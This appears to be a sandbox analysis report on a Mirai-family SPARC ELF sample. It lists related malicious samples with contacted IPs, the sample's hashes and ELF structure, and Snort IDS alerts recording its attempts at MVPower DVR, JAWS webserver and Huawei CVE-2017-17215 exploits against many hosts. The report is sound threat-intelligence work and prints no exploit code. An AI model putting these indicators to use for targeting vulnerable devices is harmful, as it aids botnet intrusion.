	https://www.google.com/search?q=cv-2960+nusil++%22dielectric%22+constant&sca_esv=574510585&rlz=1C1GCEU_enUS895US895&biw=2560&bih=1323&ei=jk4wZfuPOZ--0PEPua-56Aw&ved=0ahUKEwj7jtLVxYCCAxUfHzQIHblXDs0Q4dUDCBA&uact=5&oq=cv-2960+nusil++%22dielectric%22+constant&gs_lp=Egxnd3Mtd2l6LXNlcnAiJGN2LTI5NjAgbnVzaWwgICJkaWVsZWN0cmljIiBjb25zdGFudDIIECEYoAEYwwRI1xVQkQlYlRRwAXgAkAEAmAFaoAGoBKoBATe4AQPIAQD4AQHCAggQABiiBBiwA8ICCxAAGIkFGKIEGLADwgIFEAAYogTCAggQABiJBRiiBOIDBBgBIEGIBgGQBgQ&sclient=gws-wiz-serp#ip=1	Get hash	malicious	Unknown	Browse	62.3.66.85
	GRQbCYMQri.elf	Get hash	malicious	Mirai	Browse	212.22.96.28
	Saikin.x86.elf	Get hash	malicious	Mirai	Browse	88.96.134.34
	q1dVMUWAya.elf	Get hash	malicious	Mirai	Browse	82.70.92.18
	A9q7CUU6By.elf	Get hash	malicious	Mirai	Browse	82.70.221.180
	xd.x86.elf	Get hash	malicious	Mirai	Browse	217.155.41.128
	yourbiggestnightmare.arm7.elf	Get hash	malicious	Mirai	Browse	88.98.151.189
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	51.150.230.255
	rwZFZF8WCp.elf	Get hash	malicious	Mirai	Browse	212.22.96.51
PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	x86-20240101-1250.elf	Get hash	malicious	Mirai	Browse	39.43.110.248
	UhpB22Atau.elf	Get hash	malicious	Mirai	Browse	182.184.180.237
	HzVSmFnQIA.elf	Get hash	malicious	Mirai	Browse	39.44.147.117
	arm7.elf	Get hash	malicious	Mirai	Browse	39.37.234.214
	arm4-20231216-1200.elf	Get hash	malicious	Mirai	Browse	182.191.230.220
	mpsl-20231212-1319.elf	Get hash	malicious	Mirai	Browse	39.49.232.148
	Yzkk3B5jl4.elf	Get hash	malicious	Mirai	Browse	39.60.158.209
	h7m0G9L0ut.elf	Get hash	malicious	Gafgyt, Mirai	Browse	39.39.132.213
	Ry3wzzBEE0.elf	Get hash	malicious	Mirai	Browse	182.187.67.107
	GvJmL3JXiO.elf	Get hash	malicious	Mirai	Browse	182.177.155.177
	2NM1gcGSOl.elf	Get hash	malicious	Mirai	Browse	39.32.237.211
	nabx86.elf	Get hash	malicious	Unknown	Browse	182.179.228.90
	nabarm7.elf	Get hash	malicious	Mirai	Browse	119.152.9.203
	mJHY33okRC.elf	Get hash	malicious	Mirai	Browse	182.188.100.133
	tHRIRkYRbE.elf	Get hash	malicious	Mirai	Browse	182.182.141.11
	LxeFp9UNtA.elf	Get hash	malicious	Mirai, Moobot	Browse	182.190.1.18
	disprovable.dll	Get hash	malicious	CryptOne, Qbot	Browse	39.44.5.104
	skid.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	116.71.15.217
	cool.x86.elf	Get hash	malicious	Unknown	Browse	39.50.110.76
	gvUvZ3t4MP.elf	Get hash	malicious	Mirai	Browse	182.181.8.79

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.141823242823824
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	if33NMq1O2.elf
File size:	74'760 bytes
MD5:	164d5388d64b5e1427f2df0375e51352
SHA1:	fb0d8c86b6909f1137dfb77a40c716fdd453ac13
SHA256:	1f21e09f4da090783aa816fdb36fd530da92aea0fe7967f3ae8def43b2f27de7
SHA512:	d145a896e32ad92b3554064b6f059fc139757bd7d6a95e210c88a0c514d9a71c5c1c2d74f8aecfbbd83f527d998f9cecbdca2efc6b42f9638076e69b7687b0a6
SSDEEP:	1536:M68wmSYWGZf51tVHtEZ9i5wJ/NSIId8aWJy:t30Txnc/0dJ
TLSH:	47735A25B87A2E23C0E8B47A52B78361B2E6234E34B4C61D7D720F8DFF146A06567177
File Content Preview:	.ELF...........................4.."x.....4. ...(.......................................... ... ... ....8............dt.Q................................@..(....@.A.................#.....b8..`.....!..... ...@.....".........`......$ ... ...@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	74360
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0x10814	0x0	0x6	AX	4
.fini	PROGBITS	0x208c4	0x108c4	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x208d8	0x108d8	0x15f0	0x0	0x2	A	8
.ctors	PROGBITS	0x32000	0x12000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x32008	0x12008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x32018	0x12018	0x220	0x0	0x3	WA	8
.bss	NOBITS	0x32238	0x12238	0x470	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x12238	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x11ec8	0x11ec8	6.1790	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x12000	0x32000	0x32000	0x238	0x6a8	2.9069	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.2352.51.210.25354244802025883 01/02/24-06:25:26.161554	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54244	80	192.168.2.23	52.51.210.253
192.168.2.2345.148.36.4256504802025883 01/02/24-06:24:01.272066	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56504	80	192.168.2.23	45.148.36.42
192.168.2.2391.200.67.11059548802030092 01/02/24-06:24:19.258178	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59548	80	192.168.2.23	91.200.67.110
192.168.2.2323.208.169.837612802025883 01/02/24-06:24:14.264263	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37612	80	192.168.2.23	23.208.169.8
192.168.2.23162.159.129.10357618802025883 01/02/24-06:24:03.166357	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57618	80	192.168.2.23	162.159.129.103
192.168.2.23104.230.152.22550120802030092 01/02/24-06:24:30.618084	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50120	80	192.168.2.23	104.230.152.225
192.168.2.23188.128.206.16847120802025883 01/02/24-06:24:13.779989	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47120	80	192.168.2.23	188.128.206.168
192.168.2.2323.33.51.1137284802025883 01/02/24-06:25:10.230054	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37284	80	192.168.2.23	23.33.51.11
192.168.2.2343.192.122.6537836802025883 01/02/24-06:25:44.376815	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37836	80	192.168.2.23	43.192.122.65
192.168.2.2358.152.149.559232802025883 01/02/24-06:24:41.116385	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59232	80	192.168.2.23	58.152.149.5
192.168.2.2363.195.193.24042464802025883 01/02/24-06:23:51.372398	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42464	80	192.168.2.23	63.195.193.240
192.168.2.234.152.153.16453294802025883 01/02/24-06:23:55.535212	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53294	80	192.168.2.23	4.152.153.164
192.168.2.23107.22.7.9054290802030092 01/02/24-06:25:15.619385	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54290	80	192.168.2.23	107.22.7.90
192.168.2.2367.212.162.8360502802025883 01/02/24-06:23:51.361230	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60502	80	192.168.2.23	67.212.162.83
192.168.2.2345.63.78.7035444802025883 01/02/24-06:24:24.766885	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35444	80	192.168.2.23	45.63.78.70
192.168.2.2334.107.170.11651938802030092 01/02/24-06:24:04.121161	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51938	80	192.168.2.23	34.107.170.116
192.168.2.2318.176.244.12750336802025883 01/02/24-06:24:45.251137	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50336	80	192.168.2.23	18.176.244.127
192.168.2.23194.8.215.9047106802025883 01/02/24-06:25:39.116051	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47106	80	192.168.2.23	194.8.215.90
192.168.2.23104.230.152.22549976802030092 01/02/24-06:24:24.820851	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49976	80	192.168.2.23	104.230.152.225
192.168.2.23104.92.147.4650912802030092 01/02/24-06:24:41.035412	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50912	80	192.168.2.23	104.92.147.46
192.168.2.2352.31.77.17848046802030092 01/02/24-06:25:05.043017	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48046	80	192.168.2.23	52.31.77.178
192.168.2.23104.82.113.6149624802025883 01/02/24-06:23:55.139649	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49624	80	192.168.2.23	104.82.113.61
192.168.2.2369.192.43.5855492802030092 01/02/24-06:25:21.993012	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55492	80	192.168.2.23	69.192.43.58
192.168.2.2349.44.196.20855840802030092 01/02/24-06:24:41.307799	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55840	80	192.168.2.23	49.44.196.208
192.168.2.23103.39.16.6847170802025883 01/02/24-06:24:15.125482	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47170	80	192.168.2.23	103.39.16.68
192.168.2.232.21.48.24839876802025883 01/02/24-06:24:51.823067	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39876	80	192.168.2.23	2.21.48.248
192.168.2.23118.232.97.5137750802030092 01/02/24-06:24:56.010020	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37750	80	192.168.2.23	118.232.97.51
192.168.2.23171.244.56.10744564802030092 01/02/24-06:24:03.532179	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44564	80	192.168.2.23	171.244.56.107
192.168.2.23151.101.7.16645530802030092 01/02/24-06:23:49.491267	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45530	80	192.168.2.23	151.101.7.166
192.168.2.2377.75.231.12448474802030092 01/02/24-06:23:59.226697	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48474	80	192.168.2.23	77.75.231.124
192.168.2.23104.27.61.23650004802030092 01/02/24-06:24:48.847612	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50004	80	192.168.2.23	104.27.61.236
192.168.2.2324.90.220.12451082802025883 01/02/24-06:25:34.883177	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51082	80	192.168.2.23	24.90.220.124
192.168.2.2366.22.55.12933832802025883 01/02/24-06:23:51.506025	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33832	80	192.168.2.23	66.22.55.129
192.168.2.23154.213.63.23060686802030092 01/02/24-06:24:37.365549	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60686	80	192.168.2.23	154.213.63.230
192.168.2.232.17.176.1145384802025883 01/02/24-06:25:15.290469	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45384	80	192.168.2.23	2.17.176.11
192.168.2.2334.18.64.5447396802030092 01/02/24-06:24:30.779179	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47396	80	192.168.2.23	34.18.64.54
192.168.2.23184.26.2.23933266802025883 01/02/24-06:25:32.158283	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33266	80	192.168.2.23	184.26.2.239
192.168.2.23152.67.216.18058250802030092 01/02/24-06:24:09.004126	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58250	80	192.168.2.23	152.67.216.180
192.168.2.2323.204.125.10656392802030092 01/02/24-06:24:13.920039	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56392	80	192.168.2.23	23.204.125.106
192.168.2.23103.57.209.4560092802025883 01/02/24-06:25:10.115853	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60092	80	192.168.2.23	103.57.209.45
192.168.2.23185.85.0.13949486802030092 01/02/24-06:24:38.209929	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49486	80	192.168.2.23	185.85.0.139
192.168.2.2338.181.35.21934712802030092 01/02/24-06:24:09.179650	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34712	80	192.168.2.23	38.181.35.219
192.168.2.23156.247.20.25537352372152829579 01/02/24-06:25:07.990796	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37352	37215	192.168.2.23	156.247.20.255
192.168.2.23157.245.212.16341682802030092 01/02/24-06:24:14.930071	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41682	80	192.168.2.23	157.245.212.163
192.168.2.23156.235.99.4053148372152829579 01/02/24-06:25:03.497246	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53148	37215	192.168.2.23	156.235.99.40
192.168.2.2323.204.125.10656446802025883 01/02/24-06:24:14.743069	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56446	80	192.168.2.23	23.204.125.106
192.168.2.2347.95.228.7335778802030092 01/02/24-06:24:59.105890	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35778	80	192.168.2.23	47.95.228.73
192.168.2.23156.235.102.23034064372152835222 01/02/24-06:23:48.382924	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34064	37215	192.168.2.23	156.235.102.230
192.168.2.2354.254.143.7760350802030092 01/02/24-06:23:58.484471	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60350	80	192.168.2.23	54.254.143.77
192.168.2.23184.85.178.23639722802030092 01/02/24-06:25:16.029669	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39722	80	192.168.2.23	184.85.178.236
192.168.2.2377.40.58.2351878802030092 01/02/24-06:25:02.046176	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51878	80	192.168.2.23	77.40.58.23
192.168.2.23142.58.40.15445582802030092 01/02/24-06:24:23.995843	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45582	80	192.168.2.23	142.58.40.154
192.168.2.23156.234.219.23440728802025883 01/02/24-06:25:19.115031	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40728	80	192.168.2.23	156.234.219.234
192.168.2.2323.222.136.16659240802030092 01/02/24-06:25:34.867652	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59240	80	192.168.2.23	23.222.136.166
192.168.2.2377.246.183.3046272802030092 01/02/24-06:24:55.948920	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46272	80	192.168.2.23	77.246.183.30
192.168.2.235.201.189.18145518802030092 01/02/24-06:25:25.755860	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45518	80	192.168.2.23	5.201.189.181
192.168.2.2373.116.187.14544290802025883 01/02/24-06:24:46.089608	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44290	80	192.168.2.23	73.116.187.145
192.168.2.23156.254.103.5538508372152829579 01/02/24-06:24:27.790071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38508	37215	192.168.2.23	156.254.103.55
192.168.2.232.19.103.22048104802025883 01/02/24-06:25:04.208897	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48104	80	192.168.2.23	2.19.103.220
192.168.2.2318.154.143.21732888802030092 01/02/24-06:25:38.870167	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32888	80	192.168.2.23	18.154.143.217
192.168.2.23174.84.210.335298802025883 01/02/24-06:25:31.914564	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35298	80	192.168.2.23	174.84.210.3
192.168.2.23212.109.194.4333828802030092 01/02/24-06:24:23.748097	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33828	80	192.168.2.23	212.109.194.43
192.168.2.2318.169.231.14560782802025883 01/02/24-06:24:54.905175	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60782	80	192.168.2.23	18.169.231.145
192.168.2.2372.37.218.19948926802025883 01/02/24-06:24:05.713034	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48926	80	192.168.2.23	72.37.218.199
192.168.2.23104.99.215.10858622802030092 01/02/24-06:24:54.969765	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58622	80	192.168.2.23	104.99.215.108
192.168.2.23203.198.100.11341360802025883 01/02/24-06:25:25.334124	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41360	80	192.168.2.23	203.198.100.113
192.168.2.2399.142.66.14860348802025883 01/02/24-06:25:29.576053	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60348	80	192.168.2.23	99.142.66.148
192.168.2.23102.130.122.21740696802025883 01/02/24-06:24:58.885496	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40696	80	192.168.2.23	102.130.122.217
192.168.2.23121.36.115.24947442802025883 01/02/24-06:23:55.420371	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47442	80	192.168.2.23	121.36.115.249
192.168.2.2369.80.206.8755282802030092 01/02/24-06:24:19.154384	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55282	80	192.168.2.23	69.80.206.87
192.168.2.23156.77.130.17758998372152835222 01/02/24-06:24:06.202488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58998	37215	192.168.2.23	156.77.130.177
192.168.2.2334.196.134.24735922802030092 01/02/24-06:25:34.999781	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35922	80	192.168.2.23	34.196.134.247
192.168.2.23139.59.72.23049116802025883 01/02/24-06:25:11.932825	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49116	80	192.168.2.23	139.59.72.230
192.168.2.23206.233.253.22452608802025883 01/02/24-06:24:09.052927	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52608	80	192.168.2.23	206.233.253.224
192.168.2.23221.153.44.20137018802030092 01/02/24-06:25:09.681419	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37018	80	192.168.2.23	221.153.44.201
192.168.2.23116.203.70.2860376802025883 01/02/24-06:23:52.035635	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60376	80	192.168.2.23	116.203.70.28
192.168.2.23173.234.100.23044204802030092 01/02/24-06:24:40.616364	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44204	80	192.168.2.23	173.234.100.230
192.168.2.23166.161.129.1740674802030092 01/02/24-06:24:44.925325	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40674	80	192.168.2.23	166.161.129.17
192.168.2.2351.210.89.5356836802025883 01/02/24-06:25:38.038524	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56836	80	192.168.2.23	51.210.89.53
192.168.2.2323.57.78.17447542802030092 01/02/24-06:25:36.406858	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47542	80	192.168.2.23	23.57.78.174
192.168.2.2361.220.62.14550398802025883 01/02/24-06:24:33.218083	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50398	80	192.168.2.23	61.220.62.145
192.168.2.23213.136.91.1739410802030092 01/02/24-06:24:04.299968	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39410	80	192.168.2.23	213.136.91.17
192.168.2.23170.130.122.6435776802025883 01/02/24-06:25:42.642200	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35776	80	192.168.2.23	170.130.122.64
192.168.2.23154.204.118.16159748802030092 01/02/24-06:24:50.106168	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59748	80	192.168.2.23	154.204.118.161
192.168.2.2386.181.28.25240796802030092 01/02/24-06:24:28.186813	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40796	80	192.168.2.23	86.181.28.252
192.168.2.23101.42.248.24039924802025883 01/02/24-06:24:43.377309	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39924	80	192.168.2.23	101.42.248.240
192.168.2.23156.254.94.2659154372152835222 01/02/24-06:25:03.334223	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59154	37215	192.168.2.23	156.254.94.26
192.168.2.23183.111.183.23054570802025883 01/02/24-06:25:04.271400	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54570	80	192.168.2.23	183.111.183.230
192.168.2.23108.186.100.20951226802030092 01/02/24-06:23:54.821481	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51226	80	192.168.2.23	108.186.100.209
192.168.2.23208.109.68.2335052802030092 01/02/24-06:25:09.832341	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35052	80	192.168.2.23	208.109.68.23
192.168.2.23185.18.81.6639906802030092 01/02/24-06:25:01.307707	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39906	80	192.168.2.23	185.18.81.66
192.168.2.2313.227.73.8552698802025883 01/02/24-06:25:34.683145	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52698	80	192.168.2.23	13.227.73.85
192.168.2.23156.254.85.3256952372152835222 01/02/24-06:25:03.334382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56952	37215	192.168.2.23	156.254.85.32
192.168.2.2346.4.102.25247674802030092 01/02/24-06:25:43.105983	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47674	80	192.168.2.23	46.4.102.252
192.168.2.2399.16.143.12833176802030092 01/02/24-06:24:14.071830	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33176	80	192.168.2.23	99.16.143.128
192.168.2.2338.181.35.21934372802025883 01/02/24-06:24:01.259878	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34372	80	192.168.2.23	38.181.35.219
192.168.2.2323.48.76.9154442802025883 01/02/24-06:25:30.270726	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54442	80	192.168.2.23	23.48.76.91
192.168.2.2383.148.198.4442066802030092 01/02/24-06:25:42.757624	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42066	80	192.168.2.23	83.148.198.44
192.168.2.2334.120.145.3256908802025883 01/02/24-06:25:06.732120	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56908	80	192.168.2.23	34.120.145.32
192.168.2.2334.225.232.16551466802030092 01/02/24-06:24:15.088251	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51466	80	192.168.2.23	34.225.232.165
192.168.2.23104.121.24.21239268802030092 01/02/24-06:25:34.772506	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39268	80	192.168.2.23	104.121.24.212
192.168.2.238.134.23.4358860802030092 01/02/24-06:24:27.781954	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58860	80	192.168.2.23	8.134.23.43
192.168.2.2351.255.91.12053876802025883 01/02/24-06:25:02.258701	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53876	80	192.168.2.23	51.255.91.120
192.168.2.2374.48.45.14649620802030092 01/02/24-06:24:50.099124	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49620	80	192.168.2.23	74.48.45.146
192.168.2.2318.164.18.3348318802025883 01/02/24-06:25:38.054989	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48318	80	192.168.2.23	18.164.18.33
192.168.2.2345.66.79.13355714802025883 01/02/24-06:24:14.281778	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55714	80	192.168.2.23	45.66.79.133
192.168.2.2385.221.227.12437694802025883 01/02/24-06:24:18.042374	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37694	80	192.168.2.23	85.221.227.124
192.168.2.23167.172.137.11148674802030092 01/02/24-06:23:49.370306	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48674	80	192.168.2.23	167.172.137.111
192.168.2.23217.160.215.20551516802030092 01/02/24-06:24:23.994544	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51516	80	192.168.2.23	217.160.215.205
192.168.2.23154.46.166.18836382802025883 01/02/24-06:24:10.948725	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36382	80	192.168.2.23	154.46.166.188
192.168.2.23108.158.129.15660976802025883 01/02/24-06:24:55.937734	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60976	80	192.168.2.23	108.158.129.156
192.168.2.2362.244.41.14754538802025883 01/02/24-06:25:25.284302	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54538	80	192.168.2.23	62.244.41.147
192.168.2.23178.159.46.9149008802030092 01/02/24-06:25:39.173695	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49008	80	192.168.2.23	178.159.46.91
192.168.2.23193.182.144.15439910802030092 01/02/24-06:25:31.359030	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39910	80	192.168.2.23	193.182.144.154
192.168.2.23156.235.102.17138108372152829579 01/02/24-06:24:02.515190	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38108	37215	192.168.2.23	156.235.102.171
192.168.2.2313.239.48.11535360802025883 01/02/24-06:24:04.056293	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35360	80	192.168.2.23	13.239.48.115
192.168.2.2351.178.25.2639996802025883 01/02/24-06:25:19.073342	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39996	80	192.168.2.23	51.178.25.26
192.168.2.2323.3.111.16147366802030092 01/02/24-06:25:43.020357	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47366	80	192.168.2.23	23.3.111.161
192.168.2.23123.60.116.9758084802030092 01/02/24-06:24:45.347164	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58084	80	192.168.2.23	123.60.116.97
192.168.2.23209.235.140.22455632802030092 01/02/24-06:24:48.911367	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55632	80	192.168.2.23	209.235.140.224
192.168.2.2318.172.204.12456566802030092 01/02/24-06:24:59.388502	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56566	80	192.168.2.23	18.172.204.124
192.168.2.232.20.206.6947260802025883 01/02/24-06:25:06.855559	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47260	80	192.168.2.23	2.20.206.69
192.168.2.2350.212.190.9749434802030092 01/02/24-06:25:07.021195	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49434	80	192.168.2.23	50.212.190.97
192.168.2.23154.12.30.8341074802030092 01/02/24-06:25:38.407130	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41074	80	192.168.2.23	154.12.30.83
192.168.2.2318.139.66.24949188802030092 01/02/24-06:24:49.080776	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49188	80	192.168.2.23	18.139.66.249
192.168.2.23185.124.143.18839152802025883 01/02/24-06:23:52.102637	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39152	80	192.168.2.23	185.124.143.188
192.168.2.23207.91.250.5347036802030092 01/02/24-06:24:05.701901	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47036	80	192.168.2.23	207.91.250.53
192.168.2.23156.247.27.1551010372152829579 01/02/24-06:24:09.783413	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51010	37215	192.168.2.23	156.247.27.15
192.168.2.2346.175.16.20649032802025883 01/02/24-06:24:48.996752	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49032	80	192.168.2.23	46.175.16.206
192.168.2.23186.88.83.19454168802030092 01/02/24-06:25:15.957336	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54168	80	192.168.2.23	186.88.83.194
